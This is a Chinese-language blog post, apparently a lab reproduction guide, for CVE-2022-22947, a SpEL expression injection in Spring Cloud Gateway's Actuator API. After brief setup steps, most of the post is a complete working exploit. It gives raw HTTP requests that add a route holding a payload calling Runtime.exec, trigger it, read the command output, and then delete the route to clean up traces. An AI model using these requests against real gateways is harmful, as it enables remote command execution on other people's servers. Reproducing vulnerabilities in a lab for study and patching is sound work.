Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
参考链接:
- https://tanzu.vmware.com/security/cve-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
漏洞环境
执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:
docker-compose up -d
服务启动后,访问http://your-ip:8080
即可看到演示页面,这个页面的上游就是example.com。
漏洞复现
利用这个漏洞需要分多步。
首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
发送如下数据包即可查看执行结果:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
最后,发送如下数据包清理现场,删除所添加的路由:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
再刷新下路由:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283232.html